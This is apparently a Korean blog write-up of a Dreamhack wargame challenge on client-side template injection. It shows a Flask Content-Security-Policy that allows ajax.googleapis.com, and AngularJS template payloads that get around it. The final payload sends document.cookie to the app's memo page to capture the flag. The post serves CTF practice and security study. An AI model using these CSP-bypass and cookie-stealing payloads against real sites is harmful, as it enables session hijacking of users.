728x90
CSTI(Client Side Template Injection)
클라이언트에서 사용되는 템플릿에 임의 구문을 주입하는 의미를 가진다.
-> 템플릿 표현식 + 자바스크립트 구문을 조합해서 XSS 공격을 시도할 수 있는 취약점이다.
SSTI 와의 차이점은 악용을 통해 이루어지는 효과가 다르다(서버 측 주입이면 원격코드를 실행시키는 것이 목적이다)
바로 소스코드를 보자!
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
nonce = os.urandom(16).hex()
return response
CSP가 설정이 되어있어 확인을 해보면 https://ajax.googles.com 출처는 허용이 되어있다.!
angular.js는 ajax.googles.com을 로드할 수 있다., (검색,,, 했음..)
그러면 기본적인 페이로드 형식은
<html ng-app><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>{{constructor.constructor('alert(1)')()}}</html>
해당 페이로드를 입력을 했을 때, alert 가 실행이 되었다,,
그러면 이 페이로드를 이용하여 flag 값을 얻으면 될 거 같다!(/vuln 페이지에 xss가 실행이 되는지 확인할 수 있음)
<html ng-app><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>{{constructor.constructor("location.href='/memo?memo='+document.cookie")()}}</html>
예전에 풀었던 XSS , CSP문제랑 똑같기 때문에 템플릿 취약점 개념만 알면 풀 수 있는 문제이다.,!!!
'모의해킹 > Dreamhack' 카테고리의 다른 글
Relative Path Overwrite (0) | 2023.12.02 |
---|---|
phpMyRedis (0) | 2023.12.01 |
CSP Bypass (0) | 2023.11.23 |
[wargame.kr] crack crack crack it (0) | 2023.11.20 |
[wargame.kr] dun worry about the vase (0) | 2023.11.18 |